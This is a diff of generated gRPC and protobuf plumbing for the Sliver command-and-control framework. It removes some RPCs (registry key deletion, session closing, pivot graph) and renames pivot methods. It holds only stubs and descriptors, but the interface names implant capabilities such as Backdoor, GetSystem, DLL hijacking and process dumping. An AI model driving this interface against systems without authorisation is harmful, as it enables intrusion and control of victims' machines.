61, // 88: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
62, // 89: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
63, // 90: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
64, // 91: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
65, // 92: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
66, // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
67, // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
68, // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
69, // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
70, // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
71, // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
72, // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
73, // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
74, // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
75, // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
76, // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
77, // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
78, // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
79, // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
80, // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
81, // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
81, // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
82, // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
83, // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
83, // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
84, // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
85, // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
86, // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
87, // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
88, // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
89, // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
90, // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
91, // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
92, // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
93, // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
94, // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
95, // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
96, // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
97, // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
97, // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
98, // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
98, // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
99, // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
99, // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
133, // 192: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 193: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
134, // 194: rpcpb.SliverRPC.PivotListeners:output_type -> sliverpb.PivotListeners
135, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
135, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
135, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
136, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
137, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
138, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
139, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
140, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
141, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
142, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
143, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
144, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
145, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
146, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
147, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
148, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
69, // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
149, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
150, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
151, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
152, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
152, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
153, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
153, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
154, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
155, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
156, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
157, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
81, // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
82, // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
83, // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
84, // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
158, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
115, // [115:230] is the sub-list for method output_type
0, // [0:115] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+1 -4
View File
@@ -117,8 +117,7 @@ service SliverRPC {
// *** Pivots ***
rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);
rpc PivotStopListener(sliverpb.PivotStopListenerReq) returns (commonpb.Empty);
rpc PivotSessionListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
rpc PivotGraph(commonpb.Empty) returns (clientpb.PivotGraph);
rpc PivotListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
@@ -131,7 +130,6 @@ service SliverRPC {
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
rpc RegistryDeleteKey(sliverpb.RegistryDeleteKeyReq) returns (sliverpb.RegistryDeleteKey);
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
@@ -140,7 +138,6 @@ service SliverRPC {
// Beacon only commands
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
rpc CloseSession(sliverpb.CloseSession) returns (commonpb.Empty);
// Extensions
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
+12 -120
View File
@@ -115,8 +115,7 @@ type SliverRPCClient interface {
// *** Pivots ***
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error)
PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
@@ -128,7 +127,6 @@ type SliverRPCClient interface {
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error)
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
@@ -136,7 +134,6 @@ type SliverRPCClient interface {
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// Beacon only commands
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error)
// Extensions
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
@@ -882,18 +879,9 @@ func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.Pi
return out, nil
}
func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
func (c *sliverRPCClient) PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
out := new(sliverpb.PivotListeners)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotSessionListeners", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error) {
out := new(clientpb.PivotGraph)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotGraph", in, out, opts...)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotListeners", in, out, opts...)
if err != nil {
return nil, err
}
@@ -999,15 +987,6 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
return out, nil
}
func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) {
out := new(sliverpb.RegistryDeleteKey)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryDeleteKey", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
out := new(sliverpb.RegistrySubKeyList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
@@ -1062,15 +1041,6 @@ func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSess
return out, nil
}
func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSession", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
out := new(sliverpb.RegisterExtension)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
@@ -1398,8 +1368,7 @@ type SliverRPCServer interface {
// *** Pivots ***
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error)
PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error)
StopService(context.Context, *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error)
RemoveService(context.Context, *sliverpb.RemoveServiceReq) (*sliverpb.ServiceInfo, error)
@@ -1411,7 +1380,6 @@ type SliverRPCServer interface {
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error)
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
@@ -1419,7 +1387,6 @@ type SliverRPCServer interface {
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// Beacon only commands
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error)
// Extensions
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
@@ -1688,11 +1655,8 @@ func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverp
func (UnimplementedSliverRPCServer) PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotStopListener not implemented")
}
func (UnimplementedSliverRPCServer) PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotSessionListeners not implemented")
}
func (UnimplementedSliverRPCServer) PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotGraph not implemented")
func (UnimplementedSliverRPCServer) PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotListeners not implemented")
}
func (UnimplementedSliverRPCServer) StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
return nil, status.Errorf(codes.Unimplemented, "method StartService not implemented")
@@ -1727,9 +1691,6 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryDeleteKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
}
@@ -1748,9 +1709,6 @@ func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivs
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
}
func (UnimplementedSliverRPCServer) CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented")
}
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
}
@@ -3240,38 +3198,20 @@ func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotSessionListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
func _SliverRPC_PivotListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotListenersReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotSessionListeners(ctx, in)
return srv.(SliverRPCServer).PivotListeners(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotSessionListeners",
FullMethod: "/rpcpb.SliverRPC/PivotListeners",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotSessionListeners(ctx, req.(*sliverpb.PivotListenersReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotGraph_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotGraph(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotGraph",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotGraph(ctx, req.(*commonpb.Empty))
return srv.(SliverRPCServer).PivotListeners(ctx, req.(*sliverpb.PivotListenersReq))
}
return interceptor(ctx, in, info, handler)
}
@@ -3474,24 +3414,6 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryDeleteKey_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistryDeleteKeyReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryDeleteKey",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, req.(*sliverpb.RegistryDeleteKeyReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistrySubKeyListReq)
if err := dec(in); err != nil {
@@ -3600,24 +3522,6 @@ func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec fu
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.CloseSession)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).CloseSession(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/CloseSession",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CloseSession(ctx, req.(*sliverpb.CloseSession))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegisterExtensionReq)
if err := dec(in); err != nil {
@@ -4285,12 +4189,8 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
Handler: _SliverRPC_PivotStopListener_Handler,
},
{
MethodName: "PivotSessionListeners",
Handler: _SliverRPC_PivotSessionListeners_Handler,
},
{
MethodName: "PivotGraph",
Handler: _SliverRPC_PivotGraph_Handler,
MethodName: "PivotListeners",
Handler: _SliverRPC_PivotListeners_Handler,
},
{
MethodName: "StartService",
@@ -4336,10 +4236,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "RegistryCreateKey",
Handler: _SliverRPC_RegistryCreateKey_Handler,
},
{
MethodName: "RegistryDeleteKey",
Handler: _SliverRPC_RegistryDeleteKey_Handler,
},
{
MethodName: "RegistryListSubKeys",
Handler: _SliverRPC_RegistryListSubKeys_Handler,
@@ -4364,10 +4260,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "OpenSession",
Handler: _SliverRPC_OpenSession_Handler,
},
{
MethodName: "CloseSession",
Handler: _SliverRPC_CloseSession_Handler,
},
{
MethodName: "RegisterExtension",
Handler: _SliverRPC_RegisterExtension_Handler,
+2 -7
View File
@@ -182,8 +182,8 @@ const (
MsgPivotPeerEnvelope
// MsgPivotPeerFailure - Failure to send an envelope to a pivot peer
MsgPivotPeerFailure
// MsgPivotSessionEnvelope
MsgPivotSessionEnvelope
// MsgPivotOriginEnvelope
MsgPivotOriginEnvelope
// MsgStartServiceReq - Request to start a service
MsgStartServiceReq
@@ -274,9 +274,6 @@ const (
MsgOpenSession
// MsgCloseSession - Close the active session
MsgCloseSession
// MsgRegistryDeleteKeyReq
MsgRegistryDeleteKeyReq
)
// Constants to replace enums
@@ -428,8 +425,6 @@ func MsgNumber(request proto.Message) uint32 {
return MsgRegistryWriteReq
case *RegistryCreateKeyReq:
return MsgRegistryCreateKeyReq
case *RegistryDeleteKeyReq:
return MsgRegistryDeleteKeyReq
case *WGPortForwardStartReq:
return MsgWGStartPortFwdReq
